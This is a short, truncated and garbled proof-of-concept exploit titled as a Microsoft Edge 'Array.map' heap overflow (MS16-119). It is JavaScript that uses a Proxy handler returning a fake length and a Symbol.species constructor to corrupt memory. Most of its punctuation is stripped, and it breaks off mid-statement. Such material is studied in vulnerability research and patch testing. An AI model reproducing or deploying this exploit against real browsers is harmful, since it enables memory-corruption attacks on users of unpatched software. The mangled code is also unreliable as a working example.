Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)

var b = new Array1,2,3; var d = new Array1,2,3; class dummy constructor alert"in constructor"; return d; var handler = get: functiontarget, name ifname == "length" return 0x100; return Symbol.species : dummy; , has: functiontarget, name alert"has " + name; return true; ; var p = new Proxy, handle...